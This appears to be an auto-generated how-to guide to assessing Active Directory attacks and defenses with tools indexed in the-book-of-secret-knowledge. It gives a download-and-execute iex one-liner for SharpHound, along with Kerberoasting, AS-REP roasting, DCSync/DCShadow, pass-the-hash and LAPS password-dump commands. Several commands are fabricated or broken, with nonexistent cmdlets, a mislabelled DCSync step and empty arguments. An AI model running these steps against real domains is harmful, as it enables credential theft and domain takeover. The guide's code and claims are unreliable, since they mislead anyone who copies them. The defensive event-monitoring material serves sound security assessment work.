# How to Perform an Active Directory Attack and Defense Assessment Using the Book of Secret Knowledge > Assess Active Directory attacks and defenses using the Book of Secret Knowledge. Explore open-source tools for enumeration, exploitation, and hardening validation to secure your AD environment. - Repository: [Michał Ży/the-book-of-secret-knowledge](https://github.com/trimstray/the-book-of-secret-knowledge) - Tags: how-to-guide - Published: 2026-02-24 --- **You can perform a comprehensive Active Directory attack and defense assessment by leveraging the curated AD-Attack-Defense repository linked within trimstray/the-book-of-secret-knowledge, which provides open-source tools for enumeration, exploitation, and hardening validation.** The **trimstray/the-book-of-secret-knowledge** repository serves as a master index of security resources, specifically pointing to the **AD-Attack-Defense** project for Active Directory assessments. This guide walks you through establishing a complete assessment workflow—from initial reconnaissance to defensive remediation—using only the tools and methodologies documented in these curated resources. ## Setting Up the Assessment Environment Begin by cloning the primary resource repository and installing the required PowerShell modules on a domain-joined Windows host. First, clone the AD-Attack-Defense repository referenced in the curated list: ```bash git clone https://github.com/infosecn1nja/AD-Attack-Defense.git cd AD-Attack-Defense ``` Install **PowerView** and **BloodHound** modules to enable reconnaissance capabilities: ```powershell Install-Module -Name PowerView -Scope CurrentUser Install-Module -Name BloodHound -Scope CurrentUser ``` Pull the latest **SharpHound** data collector for BloodHound ingestion: ```powershell iex ((New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Collectors/SharpHound.ps1')) ``` For Linux-based enumeration, install complementary tools like `ldapsearch` and **Impacket** that are also cataloged in the-book-of-secret-knowledge under its Networking and Security sections. ## Enumerating Active Directory Infrastructure Effective **Active Directory attack and defense assessment** begins with comprehensive mapping of the domain topology, trust relationships, and privileged accounts. Import **PowerView** to query domain controllers and forest trusts: ```powershell Import-Module PowerView Get-NetDomain | Format-Table -AutoSize ``` Enumerate users with administrative privileges and service principal names (SPNs) vulnerable to Kerberoasting: ```powershell Get-NetUser -AdminCount 1 | Format-Table Name, SamAccountName, Enabled Get-NetUser -SPN | Where-Object {$_.ServicePrincipalName -ne $null} | Format-Table SamAccountName, ServicePrincipalName ``` Collect the complete BloodHound dataset for graph-based analysis: ```powershell Invoke-BloodHound -CollectionMethod All -Domain YOURDOMAIN.local -ZipFileName bh.zip ``` From Linux hosts, dump raw LDAP entries to verify exposed attributes: ```bash ldapsearch -x -h -b "dc=example,dc=com" "(objectclass=*)" > ldap_dump.ldif ``` ## Executing Active Directory Exploitation Techniques The **AD-Attack-Defense** repository documents specific attack vectors you should test in controlled environments to validate detection capabilities. **Kerberoasting**: Extract service tickets for offline hash cracking using **PowerView**: ```powershell Get-NetUser -SPN | Request-Ticket | Export-Ticket ``` **AS-REP Roasting**: Target accounts with pre-authentication disabled: ```powershell Get-ASREPHash -User ``` **DCShadow and DCSync**: Simulate rogue domain controller activity or pull password hashes: ```powershell Invoke-DCShadow Get-DomainController ``` **Pass-the-Hash**: Utilize **Impacket** tools (referenced in the repository's tool index) to reuse captured NTLM hashes: ```bash pth-smbclient -hashes //target/share ``` **GPO Abuse**: Identify writable Group Policy Objects for privilege escalation paths: ```powershell Invoke-GPOAbuse ``` ## Defensive Validation and Hardening After offensive testing, pivot to defensive verification using the detection scripts located in the `defense/` folder of the AD-Attack-Defense repository. Verify **Account Tiering** by auditing Domain Admin membership: ```powershell Get-NetGroupMember -Group "Domain Admins" | Format-Table Name ``` Confirm **LAPS** (Local Administrator Password Solution) deployment across workstations: ```powershell Get-AdmPwdPassword -ComputerName * | Format-Table ComputerName, Password ``` Validate **Credential Guard** enforcement on Windows 10+ endpoints: ```powershell gpresult /h result.html # Review output for CredentialGuardEnabled status ``` Enable and monitor critical **Event IDs** for authentication anomalies: `4624` (successful logon), `4625` (failed logon), `4768` (Kerberos TGT request), `4769` (Kerberos service ticket), and `4776` (NTLM authentication). Detect BloodHound reconnaissance by monitoring abnormal LDAP queries: ```powershell Get-WinEvent -FilterHashtable @{LogName='Security';Id=4662} | Where-Object {$_.Message -match "ldap"} ``` ## Key Resources and File Paths The **trimstray/the-book-of-secret-knowledge** repository indexes the following critical components for your assessment workflow: - **AD-Attack-Defense Repository**: The primary resource for attack techniques and defensive scripts (referenced at line 998-1000 in the curated list) - **`defense/` Directory**: Contains GPO hardening checklists, LAPS verification scripts, and detection logic - **BloodHound/SharpHound**: Graph-based AD analysis tools for visualizing attack paths - **Impacket**: Python toolkit for low-level protocol operations and credential manipulation - **PowerView**: PowerShell reconnaissance module for domain enumeration ## Summary - **trimstray/the-book-of-secret-knowledge** provides curated links to **AD-Attack-Defense**, enabling complete Active Directory assessment workflows - Install **PowerView**, **BloodHound**, and **SharpHound** on domain-joined Windows hosts for comprehensive enumeration - Execute controlled exploitation of **Kerberoasting**, **AS-REP Roasting**, and **DCShadow** to test detection capabilities - Validate defensive controls including **Account Tiering**, **LAPS deployment**, and **Credential Guard** enforcement - Monitor **Event IDs 4624, 4625, 4768, 4769, and 4776** to detect authentication anomalies and BloodHound activity ## Frequently Asked Questions ### What specific repository does the-book-of-secret-knowledge recommend for AD assessments? The curated list points to **infosecn1nja/AD-Attack-Defense**, a dedicated repository containing modern post-exploitation techniques, PowerShell modules, and defensive hardening scripts specifically designed for Active Directory environments. ### Which PowerShell modules are essential for AD enumeration according to these resources? You need **PowerView** for domain reconnaissance (user/group enumeration, trust mapping) and **BloodHound** with its **SharpHound** collector for graph-based attack path analysis. These are the primary modules referenced for comprehensive data collection. ### How do I detect BloodHound reconnaissance activity in my domain? Monitor **Security Event ID 4662** for anomalous LDAP queries targeting sensitive attributes. BloodHound generates distinctive LDAP traffic patterns when enumerating object permissions and session information, which triggers these audit events when directory service access auditing is enabled. ### Can I perform these assessments from a Linux workstation? Yes. While PowerView requires Windows, the resources include **Impacket** for Python-based protocol operations and **ldapsearch** for raw LDAP queries against domain controllers. However, certain attacks like **DCShadow** and full BloodHound collection require Windows-native APIs.